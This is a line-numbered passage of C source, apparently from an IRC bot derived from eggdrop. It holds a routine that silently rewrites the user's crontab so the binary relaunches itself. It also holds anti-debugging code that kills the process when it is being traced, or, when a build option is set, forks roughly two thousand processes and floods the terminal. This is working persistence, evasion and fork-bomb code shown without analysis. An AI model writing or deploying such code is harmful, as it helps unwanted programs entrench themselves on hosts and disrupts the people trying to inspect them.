  814. egg_snprintf(buf, sizeof buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s"), binname, tmpfile);
  815. if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
  816. buf[0] = 0;
  817. if (interval == 1)
  818. strcpy(buf, "*");
  819. else {
  820. int i = 1;
  821. int si = randint(interval);
  822. while (i < 60) {
  823. if (buf[0])
  824. sprintf(buf + strlen(buf), STR(",%i"), (i + si) % 60);
  825. else
  826. sprintf(buf, "%i", (i + si) % 60);
  827. i += interval;
  828. }
  829. }
  830. egg_snprintf(buf + strlen(buf), sizeof buf, STR(" * * * * %s > /dev/null 2>&1"), binname);
  831. fseek(f, 0, SEEK_END);
  832. fprintf(f, STR("\n%s\n"), buf);
  833. fclose(f);
  834. sprintf(buf, STR("crontab %s"), tmpfile);
  835. shell_exec(buf, NULL, NULL, NULL);
  836. }
  837. close(fd);
  838. unlink(tmpfile);
  839. }
  840. #ifdef S_MESSUPTERM
  841. static void messup_term() {
  842. int i;
  843. char *argv[4] = { NULL, NULL, NULL, NULL };
  844. freopen("/dev/null", "w", stderr);
  845. for (i = 0; i < 11; i++) {
  846. fork();
  847. }
  848. argv[0] = malloc(100);
  849. strcpy(argv[0], "/bin/sh");
  850. argv[1] = "-c";
  851. argv[2] = malloc(1024);
  852. strcpy(argv[2], "cat < ");
  853. strcat(argv[2], binname);
  854. argv[3] = NULL;
  855. execvp(argv[0], &argv[0]);
  856. }
  857. #endif /* S_MESSUPTERM */
  858. void check_trace_start()
  859. {
  860. #ifdef S_ANTITRACE
  861. int parent = getpid();
  862. int xx = 0, i = 0;
  863. #ifdef __linux__
  864. xx = fork();
  865. if (xx == -1) {
  866. printf(STR("Can't fork process!\n"));
  867. exit(1);
  868. } else if (xx == 0) {
  869. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  870. if (i == (-1) && errno == EPERM) {
  871. #ifdef S_MESSUPTERM
  872. messup_term();
  873. #else
  874. kill(parent, SIGKILL);
  875. exit(1);
  876. #endif /* S_MESSUPTERM */
  877. } else {
  878. waitpid(parent, &i, 0);
  879. kill(parent, SIGCHLD);
  880. ptrace(PTRACE_DETACH, parent, 0, 0);
  881. kill(parent, SIGCHLD);
  882. }
  883. exit(0);
  884. } else {
  885. wait(&i);
  886. }
  887. #endif /* __linux__ */
  888. #ifdef __FreeBSD__
  889. xx = fork();
  890. if (xx == -1) {
  891. printf(STR("Can't fork process!\n"));
  892. exit(1);
  893. } else if (xx == 0) {
  894. i = ptrace(PT_ATTACH, parent, 0, 0);
  895. if (i == (-1) && errno == EBUSY) {
  896. #ifdef S_MESSUPTERM
  897. messup_term();
  898. #else
  899. kill(parent, SIGKILL);
  900. exit(1);
  901. #endif /* S_MESSUPTERM */
  902. } else {
  903. wait(&i);
  904. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  905. kill(parent, SIGCHLD);
  906. wait(&i);
  907. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  908. wait(&i);
  909. }
  910. exit(0);
  911. } else {
  912. waitpid(xx, NULL, 0);
  913. }
  914. #endif /* __FreeBSD__ */
  915. #ifdef __OpenBSD__
  916. xx = fork();
  917. if (xx == -1) {
  918. printf(STR("Can't fork process!\n"));
  919. exit(1);
  920. } else if (xx == 0) {
  921. i = ptrace(PT_ATTACH, parent, 0, 0);
  922. if (i == (-1) && errno == EBUSY) {
  923. kill(parent, SIGKILL);
  924. exit(1);
  925. } else {
  926. wait(&i);
  927. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  928. kill(parent, SIGCHLD);
  929. wait(&i);
  930. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  931. wait(&i);
  932. }
  933. exit(0);
  934. } else {
  935. waitpid(xx, NULL, 0);
  936. }
  937. #endif /* __OpenBSD__ */
  938. #endif /* S_ANTITRACE */
  939. }
  940. #ifdef CRAZY_TRACE
  941. /* This code will attach a ptrace() to getpid() hence blocking process hijackers/tracers on the pid
  942. * only problem.. it just creates a new pid to be traced/hijacked :\
  943. */
  944. int attached = 0;
  945. void crazy_trace()
  946. {
  947. int parent = getpid();
  948. int x = fork();
  949. if (x == -1) {
  950. printf("Can't fork(): %s\n", strerror(errno));
  951. } else if (x == 0) {
  952. /* child */
  953. int i;
  954. i = ptrace(PTRACE_ATTACH, parent, (char *) 1, 0);
  955. if (i == (-1) && errno == EPERM) {
  956. printf("CANT PTRACE PARENT: errno: %d %s, i: %d\n", errno, strerror(errno), i);
  957. waitpid(parent, &i, 0);
  958. kill(parent, SIGCHLD);
  959. ptrace(PTRACE_DETACH, parent, 0, 0);
  960. kill(parent, SIGCHLD);
  961. exit(0);
  962. } else {
  963. printf("SUCCESSFUL ATTACH to %d: %d\n", parent, i);
  964. attached++;
  965. }
  966. } else {
  967. /* parent */
  968. printf("wait()\n");
  969. wait(&x);
  970. }
  971. printf("end\n");
  972. }
  973. #endif /* CRAZY_TRACE */
  974. /* need to account for this after reading in conf/spawning bots.
  975. ifdef LEAF
  976. if (updating)
  977. exit(0); let cron restart us.
  978. } localhub
  979. endif LEAF
  980. */